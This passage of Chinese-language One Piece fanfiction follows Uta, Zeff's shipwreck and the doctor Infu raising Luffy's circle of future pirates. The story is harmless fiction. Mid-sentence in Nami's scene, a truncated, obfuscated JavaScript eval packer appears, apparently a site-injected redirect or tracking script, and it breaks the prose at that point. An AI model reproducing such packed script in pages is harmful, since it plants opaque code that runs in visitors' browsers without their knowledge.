白衣的青年眼睛弯弯,认真地和她学,乌塔也从放慢节奏好让他跟着,变得越来越放开自己美丽的嗓音。这是首她也很爱的歌,香克斯他们在哄自己时经常唱——她学会的第一首歌。 她在宴会上,站在木箱垒起的小舞台上为船员们唱歌;在和路飞他们玩耍时也一起唱这首他们都会的歌;和布鲁克欢快动听的小提琴与清朗的男中音合唱。这也是布鲁克的歌,还有大鲸鱼拉布的歌。 小提琴的声响的确传来了,她扭过头,是经常给她伴奏的宾治。她被放在香克斯的肩头,船员们也都抹去泪水,跟着她合唱,就像他们一家人做过很多很多次那样。 “来唱首歌吧~大海之歌~” 唱歌吧乌塔。 欢笑声,欢呼声,手拉手转圈跳舞的耶索普他们——是快乐。 他们唱了好几遍,炫丽的音符从大家身旁游过,金色的海浪如碳酸水清爽的气泡一般在脚底翻跃,将无终无止,只是笑谈的海贼们带向明天。 在父亲高大的肩上歌唱的女孩回过神,她在用能力了。身旁的一切幻影在最后一个音符落下时飘散,她感到疲惫。从歌歌世界中返回的众人爬起身子,晃晃脑袋,香克斯像往常表演结束后一样把她高高抛起——“伙计们!为红发海贼团的音乐家欢呼!” “呜呼——!” “精彩的表演,乌塔!” “路飞那些小子们不在要嫉妒死我们了吧!” “不愧是我们的女儿!” 她依偎在家人的怀里,看向她不想被叫做伯伯的叔叔,得到一个温暖的笑。 “呜、” 香克斯的声音再次响起:“你接下来想做什么,乌塔,如果你真的很想回船上——” “不呜呜、谢谢你们、保护我——我会继续学习唱歌,学、不知道名字的歌,代替艾蕾吉亚的人去用音乐让大家——” 委屈、愧疚、新生的希望,全都化在她比之前更令人心疼的哭喊中。 她会留在奥比塔拉,茵弗会带着她像她曾经提议的那样去慰问那些医院里的病人们,她会用歌声给他们抚慰与希望,从而学会宽恕自己。 再然后,也许她会和布鲁克,还有布鲁克之前因为霍古巴克的不断推荐而去看表演时救下的辛朵丽,或者泰佐洛一起成为巨星,也许她会和萨博一样加入革命军,也许她会找到那首童谣的名字,也许她会成为它新的名字。 那都是未来的事情了,现在她和家人在一起,被爱浇灌。 茵弗坐在桌边,因为歌歌果实对精神的控制而头脑中有一丝眩晕,眼神飘散地发呆。直到贝克曼坐在他的身旁,说你之后都没有唱错嘛。 “嗯...?哦、我学的快吧。” 音乐到底是什么呢?双色发的女孩牵着一只凉凉的手,袖子上绕着一个写着【精神抚慰组组长】的袖章,从那些生病的孩子们的病房里出来时问道。 大概是生命和死亡、但也比它们更好。不过最重要的是,我的小侄女,你觉得它是什么呢? 乌塔拿着孩子们送给她的包装饼干,像她父亲站在船头,面对阳光与大海时那样,嘻嘻笑了笑。 “我想给你写一首歌,叔叔。” “好啊。” “给我一个范围吧,主题你喜欢什么?” “没有范围,亲爱的,音乐不能被限制。” 他们是自由的。 74.养了一窝海贼 “只准抢夺金钱,不准抢夺粮食!” 乌云压顶的海面上,厨师海贼团的船员们正搬运着客船奥比特号上的财宝。他们进入伟大航路试图寻找船长所说的all blue,在一年后返回东海。虽然没有在那魔鬼的海域里找到,但是船长哲普创下了“红脚”的名声,带着海贼团顺利返回也算得上是一种凯旋。 胡子打成辫子状的强壮男人监督着自己的手下,船舱外暴雨倾盆,他在踏上甲板的一刻突然感到狂风骤起,脚底震颤。 惊呼声才刚刚响起,整艘游轮便被裹挟着撞上他们的海贼船,发出巨大的哀鸣。 从天而降的是泼下的水,遮挡视线,脚底是断裂的木板,下方的大海张开深渊巨口,容不得人反应一瞬。 “船沉了!!” “救命!!” “拉住我!!!” 断裂声刺穿沙沙作响的暴雨,宣告着一场灾难。哭喊被呛到口鼻中的海水打断,男女老少,强大弱小,全都在沉船形成的漩涡中挣扎,努力去抓海面上飘浮的破碎木板。痛苦的声音不断响起,也有人被卷到海底,瞬间没了声息。 哲普一手捞起生死不知的副手,咳出胸腔中的水时感到命运的终结。他的右腿被破碎的甲板卡住,引以为傲的足功在此刻派不上用场,左腿在海水中难以借力。不断下沉的船体会将他一起带到戴维琼斯身边。 轰隆———电闪雷鸣,不是阳光透过乌云,但他在瞬间的光亮里看到远处跃起的鲸。 “是红帆——!” “我们有救了呜呜啊啊啊!” “再坚持一下——!” 又一个浪头卷来,将身边的呼声打断一瞬,下一刻又重新汇聚成更大的声响: “伊甸鲸!!” 暴雨里他们的声音过于微小,但是只要能死死抓住漂浮物,不脱离显眼的大块船体,他们一定—— 他抓住船锚铁链。 - “——一定会当上海贼王的!!” “爷爷不允许!!!” “痛——!” “臭爷爷不要打路飞——!” “好好跟爷爷说话啊艾斯!爱的铁拳!” 茵弗拦住急匆匆要赶过去的小孩子们——路飞从东海带来做客的新朋友——告诉他们过去也会被揍的哦。 “那有什么关系!喂、放开路飞!” “他看起来好凶...要不我们还是听话在这边等吧索隆...” “我同意...” 他松开他们,任由地里冒出来的手拉住他们,在卡普的拳头要落在护着路飞的萨博身上时窜过去,裹着霸气的手杖上部狠狠敲在对方胳膊上。 “不行!小土豆还在恢复!” “哦!力度不错啊你小子!没废掉嘛!” 茵弗把三个小子揽到身后,像个鸭妈妈一样展开手臂,“您怎么又用霸气打孩子!”,他回过头,示意他们快跑后又转向卡普,“看都看过了,您虽然不经常来但是也知道他们被我养得白白胖胖,没事可以回去了!” 卡普:“老夫说了要把他们养成强大的海兵!” 茵弗:“我说了几率只有10%吧!” 卡普:“不是更高来着!” 茵弗:“那也不是100%!” 脑袋上被捶了一下,慢悠悠好半天才传来疼痛。他也没反击,也不用他,在一旁的雷利和露玖就是他的鸭妈妈。 小孩子们都跑出去了,屋里只剩下他们。卡普在罗杰的老婆和兄弟皱着的眉头里哼一声坐在椅子上,茵弗给他倒了一杯茶。 “居然一个个都要跑去当海贼...” “萨博要去当革命军呢。” “...龙那个臭小子!” 艾斯倒是对海贼王没什么想法,他理解自己没有继承父亲的罪,也同样不认为他需要去继承他的荣耀。这种不偏向任何一边的“不在意”让茵弗觉得很好。 他只是喜欢自由冒险的感觉,又觉得既然弟弟要当海贼,自己也得比他更厉害一点好照顾又爱撒娇又软乎乎的他。 大概就是''路飞太弱的时候,大家知道我是他大哥也不敢欺负他''这样的理由。 不愧是罗杰和露玖的孩子。 “我知道您担心,但是这是他们的选择。” 卡普板着脸喝茶。 茵弗换了个话题:“政府现在对【茵弗玛利】什么态度?” 卡普拿过他递过来的零食,无所谓地嚼着:“你上次跑到白胡子那让他们紧张了一把吧,老样子,最近黎明岛的事情让战国头疼。” 所以就是不喜欢他跟所有势力都勾勾搭搭的,但是又对他能带来的东西足够喜欢到不会轻易做什么。 “战国先生怎么说。” “让我去东海,派手下的人帮你一阵子。不过老夫休假呢,来看看孙子,不着急。” 头疼。 以前就不喜欢动脑筋了,现在更不喜欢。不过大概就是给他一个海军的态度吧。 “他担心什么啊,我是医生。卖给您们的东西我又不是不卖了,海军受伤难道伊甸还会不治了?” “老夫也是这么说的。” “那您就去吧,让他安个心。您手下都是好孩子,有您去我也放心。” 茵弗没有再给他添茶。卡普每次拜访也不会停留太久,借着看他的名义顺便看看艾斯路飞他们,呆不了几天。 “泽法想让你派一艘伊甸鲸跟他的部队一阵子。” “SWORD?” 泽法现在不是总教官了,虽然仍然是教官,但也兼职机密部队的队长。SWORD由构想变成现实花了很多年,不站所谓的鸽派鹰派,坚持自己的正义的合适人选也不多。泽法现在是用训练新兵的同时从中慢慢挑选成员的方法,之前海军带回的一个叫德雷克的孩子现在就算他的直系之一,有点罗西南迪和战国之间的感觉,让失去儿子的泽法和失去父亲的孩子都感到宽慰。 “也不用贴身跟着,就他带着去危险点的海域实战训练的时候在附近就行。” 预防意外吗,也是,幼苗都算不上的小苗苗太脆弱了,更不要说是“海军不负责任的部队”。伊甸鲸也有跟过军舰的时候,虽然不多,除了医疗需求的情况外就是顺路的话可能会共行一程。现在上面的护卫队成员里也有部分退役海兵。 “他准备雇佣一只?” “老小子现在精神不错,所以我跟他说不用自掏腰包,你就当孝敬长辈吧。” 茵弗笑笑,前半句话就是说给他听呢。 “随时跟着不可能,兵需要磨练,医院也不是海军的医院,不过他下次准备带他们去哪个海域之前可以提前一阵子联系我,我给他一份当时在那边的伊甸鲸路线。” 卡普拍一下他的背,把他打得前倾一下,应他要求重新撕了两份生命卡。 “库赞先生升官了啊?” “毕竟平息了上边的暴乱嘛。” 卡普将生命卡收到怀里,准备将其中一张交给那个从圣地回来之后魂不守舍地跟他说自己可能又杀了朋友一次的冰小子。 “嘛...虽然那混蛋折了我的刀,不过,帮我转告谢了啊。” 他居然认出自己了,当时黑乎乎的,只有飘摇火光,他脸上还全都是遮挡五官的花纹,还是白发。怎么认出来的? 没告发他,其实逼他奄奄一息的时候离开圣地也是在放他一条生路——他们共同握在掌心的秘密又多了一个。 “他没加入SWORD吗?” “现在的职位不太容易啊。” “怎么不跟着您来奥比塔拉拜访?” “你自己问他去。” 茵弗犹豫了一下,又要回其中的一片生命卡,在右下角名字旁边加上一簇小小的火苗。门被粗暴推开的巨响让他手抖了一下,火苗一侧飞出去一点。 无所谓,那可是火。 听说他回来后最近也赶回的刺头小子脑袋上挂着他的护目镜跑进来,咋咋呼呼地跟他小姨说自己也想要个恶魔果实——“要比臭猴子的橡胶帅的。” 茵弗将生命卡交回卡普,对雷利他们招呼了一声就把他再次带出门到院子里。路飞的果实能力还控制不好,歪歪扭扭地试图击中罗宾在远处用手竖起的靶子。 “吃了就不能游泳了哦。”他放下手中的小孩,琢磨着如果给他一颗,自己手里还有哪些果实,“而且你现在太小了吧,吃了可是一辈子的事情。” “我不小了!而且臭猴子不是比我还小吗!罗宾说她吃的也很早呢!” “你要结婚吗?” “哈???” “结婚可是一辈子的,别人比你年龄小做是别人的事情,你只是因为这个就做的话只是在跟风啊,以后的幸福怎么办。” “说什么啊!我在说恶魔果实啊!” 带着草帽的小孩累累地吐舌头,还是笑嘻嘻举起一只手回答问题一样大喊:“小姨又开始晕乎乎了!” 被他点明正解的人盘腿坐下,仍然很认真地握着基德的双手嘀咕着如果找到喜欢的人要多相处,带回来给家里人见见,结婚不能着急啊你才十一岁什么的。 布鲁克哟嚯嚯地笑着,将拉着的曲子换成一首更舒缓神经的旋律,夹杂着基德红着脸的大叫和基拉的劝阻声。乱糟糟,闹哄哄。路飞带回来的伙伴们都好奇地询问奇迹游医为什么会''晕乎乎''。 “他一直都晕乎乎啊,只不过撞到头之后更加自由地晕乎乎了尼嘻嘻。” 腰上别着武士刀的小鬼认真点头,橘发小丫头和长鼻子男孩对视一眼,在对方眼中看到同样的莫名其妙。 路飞突然一骨碌坐起来,滴溜溜地伸长手臂揽着他们跑到茵弗玛利身边。 “小姨!以后你也上我的船吧!做船医!” 茵弗反应一会儿,揉着被基德头槌后麻麻的鼻子,双臂交叉表示不要。 “你还没找到音乐家呢,比起船医那个更重要吧?” “布鲁克是我的音乐家!” 咦居然不是乌塔?不过自从他救了辛朵莉之后不是应邀有时和她一起演出吗? “哟嚯嚯嚯!和拉布的约定还没完成呢,小路飞说以后他会环绕大海,帮我完成约定呢哟嚯嚯!” “所以等他长大之前您去做巨星,长大之后去做海贼?” 他扭扭变成橡胶之后手感更好的脸蛋:“有眼光啊,小猴子。” 路飞:“当然了!海贼王的伙伴一定是最好的吧!” 小猴子推推因为太大滑到他脸上的草帽,学着他小姨经常做的那样掰着软乎乎的小指头数着。 “索隆是世界第一大剑豪!娜美是有最好吃的橘子的航海士!乌索普是最会骗人的狙击手!罗宾是最聪明的骨头学家——” 罗宾微笑:“考古学家。” “还有最棒的厨师山治!我也要有最厉害的船医!” 茵弗歪头:“罗宾是什么时候被你拐跑的?而且山治?你们那么早就说好要做海贼了吗?” 路飞:“没有!但是我喜欢山治尼嘻嘻嘻,他烤的饼干也好吃!我要他当厨师!” 任性霸道,倒是真的像个小海贼呢。他捏住他的小鼻子,看他不能呼吸后小狗一样皱着脸吐出舌头。身旁被他各种夸赞的小伙伴们一边说什么“谁要跟你当海贼啊”“乌索普船长当然是船长吧”这类的话一边脸红害羞。 他的视线又扫过罗杰的、香克斯的、路飞的草帽——香克斯看好的新时代吗? 虽然是意外,但是他吃下的果实很适合他,听起来就像是“充满可能性”,随着他的延展而改变着声音,像是活的,所以茵弗很喜欢。 基德:“我会比你先当上海贼王的,臭猴子!喂、小姨,给我个帅气的恶魔果实吧!我拿机器人换,我学会做真的可以发射激光的机器人了!” 路飞:“真的吗!我也要,刺头男!不过会成为海贼王的一定是我!” 所以...养了一窝的孩子,最后只有萨博不打算当海贼?而且革命军某种意义上来说甚至更危险...我...不是医生来的吗?除了罗没有人跟着他学医呢。 已经是成年大女孩的罗宾在他身旁坐下,看他支着脸颊,脸上带着笑容看着路飞他们发呆。“我...” 茵弗偏头看她,笑意更加柔和:“有想要飞往的地方了啊,小知更鸟。” 睡觉、吃饭、活着。 见萨乌罗、吃萨奇的蛋糕、和爱她的人旅行。 然后呢? 小小的女孩面前的盘子里被放上一块削出兔耳朵的苹果。 她早就不能舒服地被抱起窝在怀里了,她好好地长大,长得很高,她还在继续成长。她侧抱住他,鼻子酸酸地嗯了一声。发上熟悉地,被温柔地吻了一下,就像在幼鸟长出强壮的新羽时,父母会啄去那些散落的绒毛。 “我研究博士留下的资料了。想得到全部的历史,要将散落在世界上的历史正文串起来,最后去最终之岛...据说九百年前有——” “嗯,不用告诉我。” “...所以路飞问我,我就同意了,我也想亲自找找看,世界上还有那么多我不知道的历史。” “这小子至少还得长个十年吧。” 罗宾被他语气里的不舍逗笑,支起身子也学着他的样子托住脸颊。安静了一会儿,最先找过来的反而是路飞的新伙伴们。 绿发小子腰上的那把刀。白鞘,有点眼熟。 “喂、我们见过的,你还记得吗?” “...抱歉,我之前受伤记忆还是零零散散地丢了一点。” 索隆点头:“路飞介绍我的时候只说了我是伙伴,但是我们在霜月村见过,你是当时送我回道场,古依娜一直在说的奇迹游医。” “这样啊,古依娜是...霜月家的那个女孩?她还好吗?” “...她死了。” 面对他的惊讶,索隆解释道她是如何一直在为了成为世界第一剑豪努力,但是有一天去取保养刀的器具时从楼梯意外摔下后去世了。就是前一阵的事情,无法接受的自己带着师傅转交给他的和道一文字跑出道场,才在外面碰到被香克斯带着到处转的路飞。 才失去朋友不久的男孩咬牙流出一点眼泪,被他立刻抹去,“我想替她感谢你,这也是她的愿望之一。” ''你知道吗索隆,送你回来那个人说女孩子不比男孩子弱!'' ''那是当然了吧,没人能打过你啊。'' ''他嘀咕了好多名字,都一定是很强的人,因为他去过世界上好多的地方,母亲都说也许他是对的。'' ''那他也很强吧?能让他说强那一定很厉害。'' 绿发男孩抽出自己友人的遗物在阳光下竖起,在其上游走的亮光是被延续的梦。 ''我一定会成为世界第一大剑豪的,然后我会去谢谢他。'' “我一定会成为世界第一大剑豪的,连着她的份一起!” 茵弗伸出手,抹去他的泪。 新时代吗? 如果每个人都是一把刀,被不同的火焰与铁锤锻造而成。一直将无法战胜的强大对手与朋友视为目标的孩子,却得知对方因为“从楼梯上摔下”这一“微小”的理由而输给了死亡,感受到了何样的淬炼呢? 他用手指抚过那把白鞘刀的刀锋,将流下的鲜血在索隆震惊的神色里抹在他的眉间,就像是用鲜血赐福,一场加冕。 “我期待着。” “我也——” “我也谢谢—” 茵弗转向同时开口的另外两个孩子,笑着示意他们一个一个说。 橘色头发的小女孩娜美,是灰中橘子产业管理者之一贝尔梅尔的养女。虽然茵弗不记得什么糖果换橘子的事情,不过小娜美说她其实也不记得,也是贝尔梅尔讲的。 “贝尔梅尔要我感谢你呢。” “诶——我还做过那样的事情啊。” 娜美吐吐舌头,妈妈给的任务完成 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“尼嘻嘻嘻嘻,乌索普可以用弹弓射到那~~~么远的苹果!和耶索普一样!” “当然了!乌索普船长曾经用弹弓射到八千米外的鱼眼睛——” “哇!真的吗!我就知道你是最棒的狙击手!” 茵弗笑眯眯地看着他们,似乎又感受到了东海的暖风。艾斯和萨博当时都受伤了不能下床,乌塔又因为艾蕾吉亚的事情不愿意理红发海贼团。路飞说要学着香克斯做海贼她还很生气,两个人也吵架。 香克斯带着闷闷不乐,又没人能陪着玩的路飞去西布罗村和乌索普玩,正好接班奇娜。灰中出了事情,所以顺路又去拜访阿龙看看有没有什么能帮忙的。应他的要求去灰中别的产业基地,替忙碌的他检查一下别的岛屿没受太大影响之类。 虽然发生很多事情,不过一圈下来倒是小路飞收获最多呢。 “所以!小姨来我的船上做船医吧!” “我是游医诶,当什么海贼。” “我拒绝你的拒绝!” “那我就拒绝你拒绝我的拒绝。” 路飞震惊,很倔地念叨着那我拒绝你拒绝你拒绝我诶?脸憋的红红的样子很可爱。茵弗揉着他的橡胶脸颊,他转眼就眉开眼笑地说尼嘻嘻嘻好凉哦。 “给山治那边打个电话问问他要不要来吧?他都不知道自己好好一个王子突然就被你拐去当海贼了呢。” 罗应该也还在北海?还是跟着罗西南迪来着?也可以叫回来看看这几年自己没能教他他自己掌握到什么程度了,果实能力用得如何。没准他会成为路飞的船医?虽然那样自己真的就是养出来一窝小海贼了,但是他知道那个聪明的坏小子会成为一个了不起的医生,优秀的人。 - “我不当他的船医,但是我确实打算出海。” 我就知道... 罗看着眼前无反应的人,戳了他一下。 “啊...好像有人跟我说过什么我主业是猫副业是医生...不对是罗杰先生主业是船长副业是海贼...” 说什么呢。看来按路飞当家的的说法就是又晕乎乎了。留下后遗症的事情他也知道了,其实他们都早有准备。后面又受伤不提,心脏停掉之后的神经受损很容易造成永久性脑损伤,他临床死亡很久,那半年里又不知道衰竭了多少次。现在这样已经很好了,如果不是手术果实... 他捏住拳头,没有让自己想下去。静静地等着面前放空的人回神,记录时间——前半段话和后半之间空白了差不多36秒。 “...所以您打算主业是医生副业是海贼?” 罗歪歪脑袋:“出海也不一定要当海贼吧,你不是游医来的?” 茵弗大感动,拥抱住已经长高不少的青少年:“您要继承我的衣钵?想要伊甸吗?” 罗眯着眼睛扭了几下,没挣脱开,开口拒绝道:“不、我也有想做的事情。” 柯拉先生在偶然得知他的全名后说,在圣地有一句话,“D之一族是神的天敌”。他的名字里有D,路飞也有,艾斯也有。不过拥抱着自己的人连姓都没有,但他去了那些“神”身边,用自己的方式和他们作对,受了伤,死掉。 如果神要再次伤害这只教堂里的白鸽一样的家伙,或者他又要飞上去啄他们的眼睛,自己如果也是“神的天敌”,能更多地帮上他吗?要如何使用D的“力量”? “我想找到D的意志,然后我们能像之前那样一起旅行,带上柯拉先生和拉米。” 茵弗松开他,听到他转述的罗西南迪的话后陷入迷茫。D?罗杰的D?所以世界政府才用【黄金】遮掩?它是什么危险的东西吗?可是卡普也有,世界政府也没做什么?因为他是海军吗? “D有什么特别的?” “这是我想知道的。” 他揉揉他从小到大都很喜欢的毛茸茸斑点帽:“小小年纪不要想那么多——想旅行就旅行呗?您跟柯拉松先生混挺好啊。” 罗像小时候一样拍开他的手:“他就是个笨蛋,没我看着能把自己摔死。” “弄艘船?您准备几岁出海啊,算了还是别回答我了,我不想听。” 茵弗玛利幼稚地堵住耳朵,一遍遍嘀咕着他们不会长大不会长大,都是幻觉都是幻觉。 房间门被敲了敲,他找到的伙伴们探头进来,说露玖夫人让告诉一声快开饭了。 罗面前的人歪过身子,热情地对小北极熊崽崽招手:“贝波先生!卡鲁秋!” 贝波不好意思地凑过来,抱着茵弗和他贴贴,说一声卡鲁秋,然后念叨对不起。这个人居然知道他家乡,还去过。他自己甚至都印象模糊了,但是这个人跟他讲的一些文化习俗都让这个年幼离乡的小熊亲切。 他、夏其、佩金是在北海飞燕岛和罗结识,被对方救下后逐渐熟悉,最后成了朋友。在听说他要回他的老师奇迹游医身边一阵子的时候便都跟着来了。 茵弗摸着软软的小熊,幸福地放空。罗默默数着他回神用了多长时间——两分半。 “啊,抱歉,抱着您这么久,但是您的皮毛真是漂亮。” “啊啊是吗,真是不好意思...” 浅金色发的人对着另外两个有些拘束的孩子也打了招呼,询问他们以后会是罗的伙伴吗?得到不好意思的点头回答。 罗看他还拉着贝波一只爪子揉揉捏捏的样子哼一声,拐回一开始的话题:“船的话,沃尔夫说要送我们一艘潜水艇。” 茵弗啪地松开贝波捧住脸颊,惊讶地看向他:“这么帅的?!我也要!有这种好东西沃尔夫先生怎么不早点拿出来!” “因为他还在研究怎么能做得更好,他也在忙别的事情,说还要几年。”他顽劣地勾起嘴角,“至于我几岁正式出海...” “我不听!走!吃饭去!”茵弗捂住耳朵,率先跑出房间。 罗笑了几声——腿恢复的还不错啊。他压低帽檐,遮住自己与他同样金色的眼。 75.厨师、心脏、梦想 红脚哲普失去了一条腿,但他活下来了。 在沉船将他拖到海底前,他用锁链弄断自己卡住的右腿,撑到了那条鲸的靠近。 他的船员们死的死,伤的伤,和游轮上的人命运没有什么不同。失去腿的他不再是“红脚”,他的梦想船员们也不再坚信,厨师海贼团解散了。他们是侵犯的一方,哲普当时顺手捞上来的大袋财宝被要求上缴大部分当诊费还有部分难民未来的安置费。他将剩下的一点分给船员们做路费,尽了最后的情谊,自己手里只剩一些被泡过的贝利。 他还不能下床,不会被赶走,等他痊愈后也许会被放在某个岛。只是来给他换药的护士说如果他要留在东海,还是尽早告知比较好,因为这艘伊甸鲸将要返回伟大航路的总部轮换。 再次返回伟大航路吗... 他靠坐在病床上,环顾四周,这还是他第一次住在这著名的海上医院。干净的病房,除了他还有五个病人。病床间隔着帘子,他能看到其他护士们的虚影,等他们忙完后不久就会来送饭了——这几天他已经了解了这些流程。 他今天的午饭是鱼肉,绿叶蔬菜和西兰花,甜点是番茄,简单清淡。他作为一个厨师自然知道给他的饭是营养均衡的,他们没有因为他是海贼就在这一点上区别对待,甚至听其他病人的闲谈,虽然他们的餐食一样,不过受伤不同或生不同种类病的人饭食都是不一样的。 在他询问时,那个细致照顾他的护士回答说因为他失去右腿,又在海中呆了一阵,手术后给他准备的饭是缓解炎症,促进愈合,提高抵抗力的。不够吃可以再要,口味不习惯可以提,但是不可以浪费。 这间病房中住的都是类似的患者。 厨师就是要喂饱饥饿的人,医生就是要治疗伤病,不论立场,大概就是如此。哲普很认真地吃完他的饭,一口接着一口,没有剩下一片菜叶。 他突然很想开一家海上的餐厅,就像这只鲸一样,设计成鱼的造型。 在护士再次询问他是否要留在东海时,他拒绝了,并询问是否能将他带到奥比塔拉。等他痊愈后的船费,他可以在餐厅里帮厨来换。如果能有机会,他想见一见伊甸鲸的主人,以【厨师】的身份。 【医生】是很年轻的人,大概也就不到三十岁,但是已经成名十年以上了。他足够幸运,在对方来检查这只入港的伊甸鲸时见到了他。 这段时间在后厨帮忙,他娴熟的技艺也获得了称赞,虽然自己脾气有些暴躁,不过在海上飘着的人也不是玻璃器,即使是个医院,脾气古怪的人也不在少数。他一来二往地也获得了不少员工的友谊。 在他不知道时几个员工问奇迹游医能否雇佣他这个丢了一条腿的前海贼,对方只是说先见一面再说。 “我是哲普,曾被人称为【红脚哲普】。” 茵弗目光扫过他的假肢:“我很遗憾。不过您为什么选了这种义肢?我们应该有提供多种选择?钱不够的话可以赊。” “我本身也是比较老派的人,腿能走就行。” 他简单问了一下哲普的信息,没有提海难的事。毕竟他已经提前问过员工们了,他也相信管理者在调查后对他的汇报,不是什么间谍。 不过对方说其实他并不是想加入伊甸鲸的后厨,而是未来开一家海上餐厅。在他询问原因时,这个胡子古怪的大叔所提供的回答让他有些惊喜地挑眉。 有趣捏~ “那么请给我做一顿饭吧,厨师先生,我想吃吃看。然后也许我会帮您的。” 他把他带回主屋区,给珊米打了个电话虫拜托她给他找一下厨师海贼团和红脚哲普的情报,也没在意当事人就在自己身后。 他示意哲普将手上的包裹放在门边,展示了一下因为孩子们的大胃口而巨大无比的冰箱。 “最近刚好采购呢,锵锵~满满的食材随您发挥。” 有多样的食材当然会让每一位厨师欣喜,脑海中浮现不少搭配菜品的想法。哲普点点头,洗了手后开始在新鲜的食材中挑选。 茵弗坐在桌边观察他熟练流利的动作,看人做饭也是一种美感,尤其是专业人士。等哲普开始准备选好的食材时一只金色的奶油团子钻了进来,手里还拿着一沓纸。 “茵弗,珊米姐姐让我顺便把这个给你,我们今天一起做什——那是谁?” “谢谢您,山治殿下,哦对您以后要去当海贼了,山治小海贼?”他示意了一下往这边看一眼的哲普,“那是哲普先生,是个厉害的前海贼厨师,所以我们先不一起做饭。” 山治点点头,有点遗憾:“我不是海贼啦,那个臭橡胶自说自话!” 茵弗:“可是他说您是最棒的厨师诶,他会绕世界一圈,不是正好去找all blue吗?” 哲普手上的动作顿了一下,他没回头,开口道:“他们说all blue是不存在的。” 山治扭过头,之前因为茵弗说对方是个厉害厨师的好奇都被冲散:“all blue一定是存在的!所有四海鱼类都汇集的奇迹之海,是每个厨师的梦想吧!” 哲普:“那是你的梦想?” 山治:“嗯!我会找到它,然后在那里开餐厅!” 金发厨师回头,对着同样金发的豆丁咧嘴笑了笑:“那也是我的梦想。” 茵弗收回视线,继续翻看手上的资料,陷入沉思。开一家...餐厅吗?【厨师】先生? 山治已经一点点往哲普身边挪了,半是警惕半是好奇地看他的动作,两个人嘴里聊着关于all blue的事情。哲普还讲了他的冒险,没有找到,但是发现了什么食材,同意把日志给山治看。 “让山治先生给您帮厨吧,哲普先生,顺便您可能要多做一些,家里孩子们饭量大。” 山治撇撇嘴,“臭橡胶一个人就能吃掉这些”,他小心地看看哲普,“我也是厨师,虽然还在学习...” 哲普和他对视一会儿后,将手里的萝卜递了过去。 - 虽然按理来说...茵弗不怎么喜欢除了关东煮以外做法的白萝卜,即使他会吃。 但是这萝卜泥也太好吃了吧这是什么? 并没有因为想要取悦能给他帮助的茵弗而做了某种华丽或是独特的餐点。但很美味,很温暖,摆盘看起来就很有满足感。不怎么爱吃蔬菜的男孩子们都吃了好多。 海上餐厅...期待了啊。 听他的话,哲普做了很多。虽然担心浪费,但是确实如他所说,大家饭量都很大,也没有人剩饭。和他有一样梦想的,叫山治的小茄子说因为奇迹游医饿过肚子,所以一直都教导他们不要剩,吃不下了就相互帮助也是朋友和家人应该做的。叫路飞的草帽男孩举手说大叔我来帮你,然后手伸得不可思议地长捞走了他盘里的鸡腿,即使他整个人已经变得圆滚滚的了——大概是吃了恶魔果实。 餐桌很吵,很大,但是食客们的笑脸与满足是对一个厨师最大的夸奖。山治和他聊着做菜时不同的步骤的作用,香辛料的搭配,也给他讲自己和奇迹游医做饭时学到一点药膳的知识。他也很好奇,对方的药膳也颇为著名,自己也购买尝试过一种独特的咖喱块,的确不俗。 “你为什么要开海上餐厅?”山治问道。 “奇迹游医为什么开海上医院?”他回答。 “因为茵弗想将医院送到大家身边。” “这就是理由了,我想将美食送到别人身边,不管对方是谁。” 小山治眼睛亮亮的,身旁的姐姐蕾玖问他也想去吗?被路飞大声打断说山治是我的厨师。茵弗玛利放下餐具擦嘴说亲爱的你至少也得十年后再离开小姨吧?路飞倔强说那好久啊不要!九年?那好吧! 看起来颇受打击的奇迹游医转向他们,缓缓开口。 哲普被雇佣了,但不是在奥比塔拉或者伊甸鲸的医院做厨师,而是做山治的老师。他会跟他们住在一起,衣食住行都包括在工资里,奇迹游医的药膳秘密他可以随意学习,对方也会联系七水之都的汤姆工作室,谈给他造船的事宜,所需费用也从他的工资里扣。 “如果只是回东海开的话也不需要亚当木,柚木就足够了,配上一些改造。” 他也不用呆在这儿九年,船造好了差不多就可以回东海,期间他也可以招人手。到时候山治可能跟着他,在实践中进一步学习。 “反正路飞要从东海出发的,等班奇娜夫人返回东海他来做客的伙伴们也就都回去了。” “啊——!那我们明天就一起出海吧!” “乖啊,他们会经常来看你,你也可以去找他们玩。他们也得变强吧,海贼王的伙伴?” 编成辫子的金色胡子,头发软软的金发男孩。同样是梦想的延续。 茵弗不急着离开餐桌,靠在也是金发的副船长身上嘀咕:“把红土大陆凿穿是不是就是all blue了?连成一片的海当然会同时存在所有的鱼吧。” 雷利举起酒杯的手一顿,说了句也许吧。 茵弗突然直起身子,很有气势地在桌上一拍:“好,山治先生!我会给您介绍挖洞好手的!听说有一种鼹鼠...” “小姨又开始了!” “哈哈哈哈哈,在念叨什么呀!” “山治不是要当鼹鼠王啦,记得吗?” 咔哒、 罗摁停了秒表。 四分十二秒。 他随着回过神的茵弗起身去了图书室。 “唔...果然您在外科上的天赋很高,配合果实就更方便了。不愧是威廉医生啊,北海分部打理的也好。”茵弗翻看着罗的医学笔记嘀咕着,“您以后专攻这个方向也行,就像我还是偏科药理,我教您的这些年您底子也不差。” 罗点头,有父母和茵弗的教导,他两方面学得都很好。只是吃了手术果实之后,确实外科他更上手一些。 “空闲时间您也可以去大医院里和其他优秀医生交流学习,比如Dr.霍古巴克。” 他瞬间臭脸,他不喜欢那家伙,而且就他那自恋臭屁的性格,能好好指导他? “骨头先生救了辛朵莉小姐嘛,那家伙现在恨不得引为知己的,让布鲁克先生带您去一趟就行了。” 茵弗合上手里的笔记推给桌子对面的罗,在对方收起后示意他坐到自己身边来。罗宾在进来时和他们打了个招呼,顺便送来几杯饮料。 “威廉先生打算回总部是吗?” 罗点点头:“那边早就没问题了,只是我经常跟着柯拉先生,然后再回去,他们想等我们都回来再一起,下次北海伊甸鲸来轮换的时候就回来了。” 茵弗摸摸他脑袋:“那您怎么跟着那两只毛绒绒先回来了?” 两只金色的眼睛眯起对视着,罗才不会先低头。这家伙的把戏他早就知道了。 “因为所以。” 茵弗:“听说我回来了,身体好多了,想我了啊?” “...没有。” 茵弗:“听说我之前在白胡子海贼团差点又死了,担心啊?” “......没有!” 茵弗:“听说我留下后遗症了,不放心啊?” 